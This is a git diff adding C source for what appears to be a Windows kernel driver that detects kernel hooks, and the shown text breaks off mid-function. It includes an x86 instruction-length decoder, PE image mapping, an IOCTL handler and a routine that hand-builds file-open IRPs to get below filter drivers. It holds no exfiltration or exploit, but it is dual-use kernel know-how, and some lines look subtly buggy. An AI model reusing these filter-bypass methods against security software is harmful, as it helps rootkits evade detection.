OP_NONE, // 91 + OP_NONE, // 92 + OP_NONE, // 93 + OP_NONE, // 94 + OP_NONE, // 95 + OP_NONE, // 96 + OP_NONE, // 97 + OP_NONE, // 98 + OP_NONE, // 99 + OP_DATA_I16 | OP_DATA_PRE66_67,// 9A + OP_NONE, // 9B + OP_NONE, // 9C + OP_NONE, // 9D + OP_NONE, // 9E + OP_NONE, // 9F + OP_DATA_PRE66_67, // A0 + OP_DATA_PRE66_67, // A1 + OP_DATA_PRE66_67, // A2 + OP_DATA_PRE66_67, // A3 + OP_NONE, // A4 + OP_NONE, // A5 + OP_NONE, // A6 + OP_NONE, // A7 + OP_DATA_I8, // A8 + OP_DATA_PRE66_67, // A9 + OP_NONE, // AA + OP_NONE, // AB + OP_NONE, // AC + OP_NONE, // AD + OP_NONE, // AE + OP_NONE, // AF + OP_DATA_I8, // B0 + OP_DATA_I8, // B1 + OP_DATA_I8, // B2 + OP_DATA_I8, // B3 + OP_DATA_I8, // B4 + OP_DATA_I8, // B5 + OP_DATA_I8, // B6 + OP_DATA_I8, // B7 + OP_DATA_PRE66_67, // B8 + OP_DATA_PRE66_67, // B9 + OP_DATA_PRE66_67, // BA + OP_DATA_PRE66_67, // BB + OP_DATA_PRE66_67, // BC + OP_DATA_PRE66_67, // BD + OP_DATA_PRE66_67, // BE + OP_DATA_PRE66_67, // BF + OP_MODRM | OP_DATA_I8, // C0 + OP_MODRM | OP_DATA_I8, // C1 + OP_DATA_I16, // C2 + OP_NONE, // C3 + OP_MODRM, // C4 + OP_MODRM, // C5 + OP_MODRM | OP_DATA_I8, // C6 + OP_MODRM | OP_DATA_PRE66_67, // C7 + OP_DATA_I8 | OP_DATA_I16, // C8 + OP_NONE, // C9 + OP_DATA_I16, // CA + OP_NONE, // CB + OP_NONE, // CC + OP_DATA_I8, // CD + OP_NONE, // CE + OP_NONE, // CF + OP_MODRM, // D0 + OP_MODRM, // D1 + OP_MODRM, // D2 + OP_MODRM, // D3 + OP_DATA_I8, // D4 + OP_DATA_I8, // D5 + OP_NONE, // D6 + OP_NONE, // D7 + OP_WORD, // D8 + OP_WORD, // D9 + OP_WORD, // DA + OP_WORD, // DB + OP_WORD, // DC + OP_WORD, // DD + OP_WORD, // DE + OP_WORD, // DF + OP_DATA_I8, // E0 + OP_DATA_I8, // E1 + OP_DATA_I8, // E2 + OP_DATA_I8, // E3 + OP_DATA_I8, // E4 + OP_DATA_I8, // E5 + OP_DATA_I8, // E6 + OP_DATA_I8, // E7 + OP_DATA_PRE66_67 | OP_REL32, // E8 + OP_DATA_PRE66_67 | OP_REL32, // E9 + OP_DATA_I16 | OP_DATA_PRE66_67,// EA + OP_DATA_I8, // EB + OP_NONE, // EC + OP_NONE, // ED + OP_NONE, // EE + OP_NONE, // EF + OP_NONE, // F0 + OP_NONE, // F1 + OP_NONE, // F2 + OP_NONE, // F3 + OP_NONE, // F4 + OP_NONE, // F5 + OP_MODRM, // F6 + OP_MODRM, // F7 + OP_NONE, // F8 + OP_NONE, // F9 + OP_NONE, // FA + OP_NONE, // FB + OP_NONE, // FC + OP_NONE, // FD + OP_MODRM, // FE + OP_MODRM | OP_REL32 // FF +}; + +UCHAR OpcodeFlagsExt[256] = +{ + OP_MODRM, // 00 + OP_MODRM, // 01 + OP_MODRM, // 02 + OP_MODRM, // 03 + OP_NONE, // 04 + OP_NONE, // 05 + OP_NONE, // 06 + OP_NONE, // 07 + OP_NONE, // 08 + OP_NONE, // 09 + OP_NONE, // 0A + OP_NONE, // 0B + OP_NONE, // 0C + OP_MODRM, // 0D + OP_NONE, // 0E + OP_MODRM | OP_DATA_I8, // 0F + OP_MODRM, // 10 + OP_MODRM, // 11 + OP_MODRM, // 12 + OP_MODRM, // 13 + OP_MODRM, // 14 + OP_MODRM, // 15 + OP_MODRM, // 16 + OP_MODRM, // 17 + OP_MODRM, // 18 + OP_NONE, // 19 + OP_NONE, // 1A + OP_NONE, // 1B + OP_NONE, // 1C + OP_NONE, // 1D + OP_NONE, // 1E + OP_NONE, // 1F + OP_MODRM, // 20 + OP_MODRM, // 21 + OP_MODRM, // 22 + OP_MODRM, // 23 + OP_MODRM, // 24 + OP_NONE, // 25 + OP_MODRM, // 26 + OP_NONE, // 27 + OP_MODRM, // 28 + OP_MODRM, // 29 + OP_MODRM, // 2A + OP_MODRM, // 2B + OP_MODRM, // 2C + OP_MODRM, // 2D + OP_MODRM, // 2E + OP_MODRM, // 2F + OP_NONE, // 30 + OP_NONE, // 31 + OP_NONE, // 32 + OP_NONE, // 33 + OP_NONE, // 34 + OP_NONE, // 35 + OP_NONE, // 36 + OP_NONE, // 37 + OP_NONE, // 38 + OP_NONE, // 39 + OP_NONE, // 3A + OP_NONE, // 3B + OP_NONE, // 3C + OP_NONE, // 3D + OP_NONE, // 3E + OP_NONE, // 3F + OP_MODRM, // 40 + OP_MODRM, // 41 + OP_MODRM, // 42 + OP_MODRM, // 43 + OP_MODRM, // 44 + OP_MODRM, // 45 + OP_MODRM, // 46 + OP_MODRM, // 47 + OP_MODRM, // 48 + OP_MODRM, // 49 + OP_MODRM, // 4A + OP_MODRM, // 4B + OP_MODRM, // 4C + OP_MODRM, // 4D + OP_MODRM, // 4E + OP_MODRM, // 4F + OP_MODRM, // 50 + OP_MODRM, // 51 + OP_MODRM, // 52 + OP_MODRM, // 53 + OP_MODRM, // 54 + OP_MODRM, // 55 + OP_MODRM, // 56 + OP_MODRM, // 57 + OP_MODRM, // 58 + OP_MODRM, // 59 + OP_MODRM, // 5A + OP_MODRM, // 5B + OP_MODRM, // 5C + OP_MODRM, // 5D + OP_MODRM, // 5E + OP_MODRM, // 5F + OP_MODRM, // 60 + OP_MODRM, // 61 + OP_MODRM, // 62 + OP_MODRM, // 63 + OP_MODRM, // 64 + OP_MODRM, // 65 + OP_MODRM, // 66 + OP_MODRM, // 67 + OP_MODRM, // 68 + OP_MODRM, // 69 + OP_MODRM, // 6A + OP_MODRM, // 6B + OP_MODRM, // 6C + OP_MODRM, // 6D + OP_MODRM, // 6E + OP_MODRM, // 6F + OP_MODRM | OP_DATA_I8, // 70 + OP_MODRM | OP_DATA_I8, // 71 + OP_MODRM | OP_DATA_I8, // 72 + OP_MODRM | OP_DATA_I8, // 73 + OP_MODRM, // 74 + OP_MODRM, // 75 + OP_MODRM, // 76 + OP_NONE, // 77 + OP_NONE, // 78 + OP_NONE, // 79 + OP_NONE, // 7A + OP_NONE, // 7B + OP_MODRM, // 7C + OP_MODRM, // 7D + OP_MODRM, // 7E + OP_MODRM, // 7F + OP_DATA_PRE66_67 | OP_REL32, // 80 + OP_DATA_PRE66_67 | OP_REL32, // 81 + OP_DATA_PRE66_67 | OP_REL32, // 82 + OP_DATA_PRE66_67 | OP_REL32, // 83 + OP_DATA_PRE66_67 | OP_REL32, // 84 + OP_DATA_PRE66_67 | OP_REL32, // 85 + OP_DATA_PRE66_67 | OP_REL32, // 86 + OP_DATA_PRE66_67 | OP_REL32, // 87 + OP_DATA_PRE66_67 | OP_REL32, // 88 + OP_DATA_PRE66_67 | OP_REL32, // 89 + OP_DATA_PRE66_67 | OP_REL32, // 8A + OP_DATA_PRE66_67 | OP_REL32, // 8B + OP_DATA_PRE66_67 | OP_REL32, // 8C + OP_DATA_PRE66_67 | OP_REL32, // 8D + OP_DATA_PRE66_67 | OP_REL32, // 8E + OP_DATA_PRE66_67 | OP_REL32, // 8F + OP_MODRM, // 90 + OP_MODRM, // 91 + OP_MODRM, // 92 + OP_MODRM, // 93 + OP_MODRM, // 94 + OP_MODRM, // 95 + OP_MODRM, // 96 + OP_MODRM, // 97 + OP_MODRM, // 98 + OP_MODRM, // 99 + OP_MODRM, // 9A + OP_MODRM, // 9B + OP_MODRM, // 9C + OP_MODRM, // 9D + OP_MODRM, // 9E + OP_MODRM, // 9F + OP_NONE, // A0 + OP_NONE, // A1 + OP_NONE, // A2 + OP_MODRM, // A3 + OP_MODRM | OP_DATA_I8, // A4 + OP_MODRM, // A5 + OP_NONE, // A6 + OP_NONE, // A7 + OP_NONE, // A8 + OP_NONE, // A9 + OP_NONE, // AA + OP_MODRM, // AB + OP_MODRM | OP_DATA_I8, // AC + OP_MODRM, // AD + OP_MODRM, // AE + OP_MODRM, // AF + OP_MODRM, // B0 + OP_MODRM, // B1 + OP_MODRM, // B2 + OP_MODRM, // B3 + OP_MODRM, // B4 + OP_MODRM, // B5 + OP_MODRM, // B6 + OP_MODRM, // B7 + OP_NONE, // B8 + OP_NONE, // B9 + OP_MODRM | OP_DATA_I8, // BA + OP_MODRM, // BB + OP_MODRM, // BC + OP_MODRM, // BD + OP_MODRM, // BE + OP_MODRM, // BF + OP_MODRM, // C0 + OP_MODRM, // C1 + OP_MODRM | OP_DATA_I8, // C2 + OP_MODRM, // C3 + OP_MODRM | OP_DATA_I8, // C4 + OP_MODRM | OP_DATA_I8, // C5 + OP_MODRM | OP_DATA_I8, // C6 + OP_MODRM, // C7 + OP_NONE, // C8 + OP_NONE, // C9 + OP_NONE, // CA + OP_NONE, // CB + OP_NONE, // CC + OP_NONE, // CD + OP_NONE, // CE + OP_NONE, // CF + OP_MODRM, // D0 + OP_MODRM, // D1 + OP_MODRM, // D2 + OP_MODRM, // D3 + OP_MODRM, // D4 + OP_MODRM, // D5 + OP_MODRM, // D6 + OP_MODRM, // D7 + OP_MODRM, // D8 + OP_MODRM, // D9 + OP_MODRM, // DA + OP_MODRM, // DB + OP_MODRM, // DC + OP_MODRM, // DD + OP_MODRM, // DE + OP_MODRM, // DF + OP_MODRM, // E0 + OP_MODRM, // E1 + OP_MODRM, // E2 + OP_MODRM, // E3 + OP_MODRM, // E4 + OP_MODRM, // E5 + OP_MODRM, // E6 + OP_MODRM, // E7 + OP_MODRM, // E8 + OP_MODRM, // E9 + OP_MODRM, // EA + OP_MODRM, // EB + OP_MODRM, // EC + OP_MODRM, // ED + OP_MODRM, // EE + OP_MODRM, // EF + OP_MODRM, // F0 + OP_MODRM, // F1 + OP_MODRM, // F2 + OP_MODRM, // F3 + OP_MODRM, // F4 + OP_MODRM, // F5 + OP_MODRM, // F6 + OP_MODRM, // F7 + OP_MODRM, // F8 + OP_MODRM, // F9 + OP_MODRM, // FA + OP_MODRM, // FB + OP_MODRM, // FC + OP_MODRM, // FD + OP_MODRM, // FE + OP_NONE // FF +}; + + +NTSTATUS + MapFileInUserSpace(WCHAR* wzFilePath,IN HANDLE hProcess OPTIONAL, + OUT PVOID *BaseAddress, + OUT PSIZE_T ViewSize OPTIONAL) +{ + NTSTATUS Status = STATUS_INVALID_PARAMETER; + HANDLE hFile = NULL; + HANDLE hSection = NULL; + OBJECT_ATTRIBUTES oa; + SIZE_T MapViewSize = 0; + IO_STATUS_BLOCK Iosb; + UNICODE_STRING uniFilePath; + if (!wzFilePath || !BaseAddress){ + return Status; + } + RtlInitUnicodeString(&uniFilePath, wzFilePath); + InitializeObjectAttributes(&oa, + &uniFilePath, + OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, + NULL, + NULL + ); + Status = IoCreateFile(&hFile, + GENERIC_READ | SYNCHRONIZE, + &oa, + &Iosb, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ, + FILE_OPEN, + FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0, + CreateFileTypeNone, + NULL, + IO_NO_PARAMETER_CHECKING + ); + if (!NT_SUCCESS(Status)) + { + return Status; + } + oa.ObjectName = NULL; + Status = ZwCreateSection(&hSection, + SECTION_QUERY | SECTION_MAP_READ, + &oa, + NULL, + PAGE_WRITECOPY, + SEC_IMAGE, + hFile + ); + ZwClose(hFile); + if (!NT_SUCCESS(Status)) + { + return Status; + } + if (!hProcess){ + hProcess = NtCurrentProcess(); + } + Status = ZwMapViewOfSection(hSection, + hProcess, + BaseAddress, + 0, + 0, + 0, + ViewSize ? ViewSize : &MapViewSize, + ViewUnmap, + 0, + PAGE_WRITECOPY + ); + ZwClose(hSection); + if (!NT_SUCCESS(Status)) + { + return Status; + } + return Status; +} + + + + +//ͨąýÖ¸Áî»ńµĂşŻĘý´óС +unsigned long __fastcall GetFunctionCodeSize(void *Proc) +{ + ULONG Length; + PUCHAR pOpcode; + ULONG Result = 0; + ULONG CCINT3Count=0; + do + { + Length = SizeOfCode(Proc, &pOpcode); + Result += Length; + if ((Length == 1) && (*pOpcode == 0xCC||*pOpcode==0x90)) CCINT3Count++; + if (CCINT3Count>1 || + *pOpcode == 0x00) + { + break; //ĹжĎÍËłöÖ¸Áî + } + Proc = (PVOID)((ULONG)Proc + Length); + } while (Length); + return Result; +} + +unsigned long __fastcall SizeOfCode(void *Code, unsigned char **pOpcode) +{ + PUCHAR cPtr; + UCHAR Flags; + BOOLEAN PFX66, PFX67; + BOOLEAN SibPresent; + UCHAR iMod, iRM, iReg; + UCHAR OffsetSize, Add; + UCHAR Opcode; + + OffsetSize = 0; + PFX66 = FALSE; + PFX67 = FALSE; + cPtr = (PUCHAR)Code; + + while ((*cPtr == 0x2E) || (*cPtr == 0x3E) || (*cPtr == 0x36) || + (*cPtr == 0x26) || (*cPtr == 0x64) || (*cPtr == 0x65) || + (*cPtr == 0xF0) || (*cPtr == 0xF2) || (*cPtr == 0xF3) || + (*cPtr == 0x66) || (*cPtr == 0x67)) + { + if (*cPtr == 0x66) PFX66 = TRUE; + if (*cPtr == 0x67) PFX67 = TRUE; + cPtr++; + if (cPtr > (PUCHAR)Code + 16) return 0; + } + Opcode = *cPtr; + if (pOpcode) *pOpcode = cPtr; + if (*cPtr == 0x0F) + { + cPtr++; + Flags = OpcodeFlagsExt[*cPtr]; + } else + { + Flags = OpcodeFlags[Opcode]; + if (Opcode >= 0xA0 && Opcode <= 0xA3) PFX66 = PFX67; + } + cPtr++; + if (Flags & OP_WORD) cPtr++; + if (Flags & OP_MODRM) + { + iMod = *cPtr >> 6; + iReg = (*cPtr & 0x38) >> 3; + iRM = *cPtr & 7; + cPtr++; + + if ((Opcode == 0xF6) && !iReg) Flags |= OP_DATA_I8; + if ((Opcode == 0xF7) && !iReg) Flags |= OP_DATA_PRE66_67; + + SibPresent = !PFX67 & (iRM == 4); + switch (iMod) + { + case 0: + if ( PFX67 && (iRM == 6)) OffsetSize = 2; + if (!PFX67 && (iRM == 5)) OffsetSize = 4; + break; + case 1: OffsetSize = 1; + break; + case 2: if (PFX67) OffsetSize = 2; else OffsetSize = 4; + break; + case 3: SibPresent = FALSE; + } + if (SibPresent) + { + if (((*cPtr & 7) == 5) && ( (!iMod) || (iMod == 2) )) OffsetSize = 4; + cPtr++; + } + cPtr = (PUCHAR)(ULONG)cPtr + OffsetSize; + } + + if (Flags & OP_DATA_I8) cPtr ++; + if (Flags & OP_DATA_I16) cPtr += 2; + if (Flags & OP_DATA_I32) cPtr += 4; + if (PFX66) Add = 2; + else Add = 4; + if (Flags & OP_DATA_PRE66_67) cPtr += Add; + return (ULONG)cPtr - (ULONG)Code; +} + + +BOOL IsAddressInSystem(ULONG ulDriverBase,ULONG *ulSysModuleBase,ULONG *ulSize,char *lpszSysModuleImage) +{ + NTSTATUS status; + ULONG NeededSize,i; + PMODULES pModuleList; + BOOL bRet = FALSE; + BOOL bInit = FALSE; + + if (ZwQuerySystemInformation && + ExAllocatePool && + ExFreePool) + { + bInit = TRUE; + } + if (!bInit) + return FALSE; + + __try + { + status=ZwQuerySystemInformation( + SystemModuleInformation, + NULL, + 0, + &NeededSize); + if (status!=STATUS_INFO_LENGTH_MISMATCH) + { + //KdPrint(("ZwQuerySystemInformation failed:%d",RtlNtStatusToDosError(status))); + return bRet; + } + pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,NeededSize); + if (pModuleList) + { + status=ZwQuerySystemInformation( + SystemModuleInformation, + pModuleList, + NeededSize, + &NeededSize); + + if (NT_SUCCESS(status)) + { + for (i=0;iulCount;i++) + { + if (ulDriverBase > pModuleList->smi[i].Base && ulDriverBase < pModuleList->smi[i].Base + pModuleList->smi[i].Size) + { + bRet = TRUE; + __try + { + *ulSysModuleBase = pModuleList->smi[i].Base; + *ulSize = pModuleList->smi[i].Size; + memset(lpszSysModuleImage,0,sizeof(lpszSysModuleImage)); + strcat(lpszSysModuleImage,pModuleList->smi[i].ImageName); + + }__except(EXCEPTION_EXECUTE_HANDLER){ + + } + break; + } + } + } + //else + // KdPrint(("@@ZwQuerySystemInformation failed:%d",RtlNtStatusToDosError(status))); + + ExFreePool(pModuleList); + pModuleList = NULL; + } + //else + // KdPrint(("ExAllocatePool failed")); + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + } + if (pModuleList) + ExFreePool(pModuleList); + + return bRet; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.h new file mode 100644 index 00000000..980573a4 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.h @@ -0,0 +1,31 @@ +#include "DriverEntry.h" +#include + +typedef unsigned long DWORD; +typedef void *HANDLE; +typedef unsigned char BOOL, *PBOOL; +#define SEC_IMAGE 0x01000000 + +NTSYSAPI + PIMAGE_NT_HEADERS + NTAPI + RtlImageNtHeader(PVOID Base); + +NTSTATUS + MapFileInUserSpace(WCHAR* wzFilePath,IN HANDLE hProcess OPTIONAL, + OUT PVOID *BaseAddress, + OUT PSIZE_T ViewSize OPTIONAL); + + LONG GetSSDTApiFunctionIndexFromNtdll(char* szFindFunctionName); + BOOL IsAddressInSystem(ULONG ulDriverBase,ULONG *ulSysModuleBase,ULONG *ulSize,char *lpszSysModuleImage); +#define OP_NONE 0x00 +#define OP_MODRM 0x01 +#define OP_DATA_I8 0x02 +#define OP_DATA_I16 0x04 +#define OP_DATA_I32 0x08 +#define OP_DATA_PRE66_67 0x10 +#define OP_WORD 0x20 +#define OP_REL32 0x40 + +unsigned long __fastcall GetFunctionCodeSize(void *Proc); + unsigned long __fastcall SizeOfCode(void *Code, unsigned char **pOpcode); diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.c new file mode 100644 index 00000000..782e4d79 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.c @@ -0,0 +1,136 @@ + + +#include "DriverEntry.h" +#include "KernelHookCheck.h" +#include "Reload.h" + + +NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath) +{ + ULONG ImageBase = 0; + NTSTATUS Status = STATUS_SUCCESS; + UNICODE_STRING uniDeviceName; + UNICODE_STRING uniLinkName; + PDEVICE_OBJECT DeviceObject = NULL; + ULONG_PTR i = 0; + + RtlInitUnicodeString(&uniDeviceName,DEVICE_NAME); + RtlInitUnicodeString(&uniLinkName,LINK_NAME); + + for (i=0;iMajorFunction[i] = DefaultPassThrough; + } + + DriverObject->DriverUnload = UnloadDriver; + DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlPassThrough; + + //´´˝¨É豸¶ÔĎó + Status = IoCreateDevice(DriverObject,0,&uniDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&DeviceObject); + if (!NT_SUCCESS(Status)) + { + return Status; + } + + Status = IoCreateSymbolicLink(&uniLinkName,&uniDeviceName); + if (!NT_SUCCESS(Status)) + { + IoDeleteDevice(DeviceObject); + return Status; + } + + //PINLINEHOOKINFO InlineHookInfo ; + //InlineHookInfo = ExAllocatePool(1,sizeof(INLINEHOOKINFO)+0x1000*sizeof(INLINEHOOKINFO_INFORMATION)); + //memset(InlineHookInfo,0,sizeof(INLINEHOOKINFO)+0x1000*sizeof(INLINEHOOKINFO_INFORMATION)); + //DriverObject->DriverUnload = UnloadDriver; + + ReLoadNtos(DriverObject,ImageBase); + //KernelHookCheck(InlineHookInfo); + return STATUS_SUCCESS; +} + + +NTSTATUS + ControlPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp) +{ + NTSTATUS Status = STATUS_SUCCESS; + PIO_STACK_LOCATION IrpSp; + PVOID InputBuffer = NULL; + PVOID OutputBuffer = NULL; + ULONG_PTR InputSize = 0; + ULONG_PTR OutputSize = 0; + ULONG_PTR IoControlCode = 0; + IrpSp = IoGetCurrentIrpStackLocation(Irp); + InputBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; + OutputBuffer = Irp->UserBuffer; + InputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength; + OutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength; + IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; + + switch(IoControlCode) + { + case CTL_CHECKKERNELMODULE: + { + if (!MmIsAddressValid(OutputBuffer)) + { + Irp->IoStatus.Status = STATUS_UNSUCCESSFUL; + Irp->IoStatus.Information = 0; + break; + } + __try + { + ProbeForWrite(OutputBuffer,OutputSize,sizeof(PVOID)); + Status = KernelHookCheck((PINLINEHOOKINFO)OutputBuffer); + Irp->IoStatus.Information = 0; + Status = Irp->IoStatus.Status = Status; + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + Irp->IoStatus.Information = 0; + Status = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL; + } + Irp->IoStatus.Information = 0; + Status = Irp->IoStatus.Status = Status; + break; + } + default: + { + Irp->IoStatus.Status = STATUS_UNSUCCESSFUL; + Irp->IoStatus.Information = 0; + break; + } + } + IoCompleteRequest(Irp,IO_NO_INCREMENT); + return Status; +} + + +NTSTATUS + DefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp) +{ + Irp->IoStatus.Information = 0; + Irp->IoStatus.Status = STATUS_SUCCESS; + IoCompleteRequest(Irp,IO_NO_INCREMENT); + return STATUS_SUCCESS; +} + +VOID UnloadDriver(PDRIVER_OBJECT DriverObject) +{ + UNICODE_STRING uniLinkName; + PDEVICE_OBJECT CurrentDeviceObject; + PDEVICE_OBJECT NextDeviceObject; + RtlInitUnicodeString(&uniLinkName,LINK_NAME); + IoDeleteSymbolicLink(&uniLinkName); + if (DriverObject->DeviceObject!=NULL) + { + CurrentDeviceObject = DriverObject->DeviceObject; + while(CurrentDeviceObject!=NULL) + { + NextDeviceObject = CurrentDeviceObject->NextDevice; + IoDeleteDevice(CurrentDeviceObject); + CurrentDeviceObject = NextDeviceObject; + } + } + DbgPrint("UnloadDriver\r\n"); +} + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.h new file mode 100644 index 00000000..fe20112b --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.h @@ -0,0 +1,35 @@ +#include +#include +#pragma once + + +#define DEVICE_NAME L"\\Device\\CheckKernelHookDeviceName" +#define LINK_NAME L"\\DosDevices\\CheckKernelHookLinkName" +#define CTL_CHECKKERNELMODULE \ + CTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_NEITHER,FILE_ANY_ACCESS) + + +NTSTATUS + DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath); +VOID UnloadDriver(PDRIVER_OBJECT DriverObject); +NTSTATUS + DefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp); +NTSTATUS + ControlPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp); + +typedef struct _INLINEHOOKINFO_INFORMATION { //INLINEHOOKINFO_INFORMATION + ULONG ulHookType; + ULONG ulMemoryFunctionBase; //Ô­ĘĽµŘÖ· + ULONG ulMemoryHookBase; //HOOK µŘÖ· + CHAR lpszFunction[256]; + CHAR lpszHookModuleImage[256]; + ULONG ulHookModuleBase; + ULONG ulHookModuleSize; + +} INLINEHOOKINFO_INFORMATION, *PINLINEHOOKINFO_INFORMATION; + +typedef struct _INLINEHOOKINFO { //InlineHook + ULONG ulCount; + INLINEHOOKINFO_INFORMATION InlineHook[1]; +} INLINEHOOKINFO, *PINLINEHOOKINFO; + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.c new file mode 100644 index 00000000..b72a2e41 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FileSystem.c @@ -0,0 +1,306 @@ +#include "FileSystem.h" + + + + +/*´´˝¨ÎÄĽţ¶ÔĎóŁ¬Ďŕµ±ÓÚ×ÔĽşĘµĎÖÁËIoCreateFile FileObjectÖеÄIrpListŃ­»·Ö¸Ďň×ÔÉí*/ +NTSTATUS + IrpCreateFile( + IN PUNICODE_STRING FilePath, + IN ACCESS_MASK DesiredAccess, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PDEVICE_OBJECT DeviceObject, + IN PDEVICE_OBJECT RealDevice, + OUT PFILE_OBJECT *FileObject + ) +{ + NTSTATUS ntStatus; + + HANDLE hFile; + PFILE_OBJECT _FileObject; + UNICODE_STRING UniDeviceNameString; + OBJECT_ATTRIBUTES ObjectAttributes; + IO_STATUS_BLOCK IoStatusBlock; + WCHAR *FileNameBuffer=NULL; + WORD FileObjectSize; + + + PIRP Irp; + KEVENT kEvent; + PIO_STACK_LOCATION IrpSp; + ACCESS_STATE AccessState; + AUX_ACCESS_DATA AuxData; + IO_SECURITY_CONTEXT SecurityContext; + + PLIST_ENTRY IrpList; + + InitializeObjectAttributes(&ObjectAttributes, NULL, OBJ_CASE_INSENSITIVE, 0, NULL); + + //in win7 x86 + FileObjectSize=0x80; + + + //´´˝¨ÎÄĽţ¶ÔĎó + ntStatus = ObCreateObject(KernelMode, + *IoFileObjectType, + &ObjectAttributes, + KernelMode, + NULL, + FileObjectSize, + 0, + 0, + &_FileObject); + + if(!NT_SUCCESS(ntStatus)) + { + return ntStatus; + } + + Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE); //ÔÚIrp¶ŃŐ»ÉĎÉęÇëÄÚ´ćżŐĽä ´óСΪ֮ǰ˛éŃŻµÄDeviceObject->Size + if(Irp == NULL) + { + ObDereferenceObject(_FileObject); + return STATUS_INSUFFICIENT_RESOURCES; + } + + KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE); + + RtlZeroMemory(_FileObject, FileObjectSize); + _FileObject->Type = IO_TYPE_FILE; //ÎÄĽţ¶ÔĎóŔŕĐÍ + _FileObject->Size = FileObjectSize; //ÎÄĽţ¶ÔĎó´óС + _FileObject->DeviceObject = RealDevice; //˛éŃŻµ˝µÄľíÉ豸 + _FileObject->Flags = FO_SYNCHRONOUS_IO; + FileNameBuffer=ExAllocatePool(NonPagedPool,FilePath->MaximumLength); + if (FileNameBuffer==NULL) + { + ObDereferenceObject(_FileObject); + return STATUS_INSUFFICIENT_RESOURCES; + } + RtlCopyMemory(FileNameBuffer,FilePath->Buffer,FilePath->Length);//ÎÄĽţ¶ÔĎóÖеÄÎÄĽţ·ľ¶ + _FileObject->FileName.Buffer=FileNameBuffer; // + _FileObject->FileName.Length=FilePath->Length; + _FileObject->FileName.MaximumLength=FilePath->MaximumLength; + + + IrpList=(PLIST_ENTRY)((DWORD)FileObject+0x74); //IrpList Ń­»·Ö¸Ďň×ÔÉí + IrpList->Flink=IrpList; + IrpList->Blink=IrpList; + + KeInitializeEvent(&_FileObject->Lock, SynchronizationEvent, FALSE); + KeInitializeEvent(&_FileObject->Event, NotificationEvent, FALSE); + + RtlZeroMemory(&AuxData, sizeof(AUX_ACCESS_DATA)); + ntStatus = SeCreateAccessState( &AccessState, //·ĂÎĘȨĎŢ + &AuxData, + DesiredAccess, + IoGetFileObjectGenericMapping()); + + if (!NT_SUCCESS(ntStatus)) + { + IoFreeIrp(Irp); + ObDereferenceObject(_FileObject); + ExFreePool(FileNameBuffer); + return ntStatus; + } + + SecurityContext.SecurityQos = NULL; + SecurityContext.AccessState = &AccessState; + SecurityContext.DesiredAccess = DesiredAccess; + SecurityContext.FullCreateOptions = 0; + + Irp->MdlAddress = NULL; + Irp->AssociatedIrp.SystemBuffer = NULL; + Irp->Flags = IRP_CREATE_OPERATION|IRP_SYNCHRONOUS_API; + Irp->RequestorMode = KernelMode; + Irp->UserIosb = &IoStatusBlock; + Irp->UserEvent = &kEvent; + Irp->PendingReturned = FALSE; + Irp->Cancel = FALSE; + Irp->CancelRoutine = NULL; + Irp->Tail.Overlay.Thread = PsGetCurrentThread(); + Irp->Tail.Overlay.AuxiliaryBuffer = NULL; + Irp->Tail.Overlay.OriginalFileObject = _FileObject; + + IrpSp = IoGetNextIrpStackLocation(Irp); + IrpSp->MajorFunction = IRP_MJ_CREATE; + IrpSp->DeviceObject = DeviceObject; + IrpSp->FileObject = _FileObject; + IrpSp->Parameters.Create.SecurityContext = &SecurityContext; + IrpSp->Parameters.Create.Options = (CreateDisposition << 24) | CreateOptions; + IrpSp->Parameters.Create.FileAttributes = (USHORT)FileAttributes; + IrpSp->Parameters.Create.ShareAccess = (USHORT)ShareAccess; + IrpSp->Parameters.Create.EaLength = 0; + + IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE); + ntStatus = IoCallDriver(DeviceObject, Irp); + if(ntStatus == STATUS_PENDING) + KeWaitForSingleObject(&kEvent, Executive, 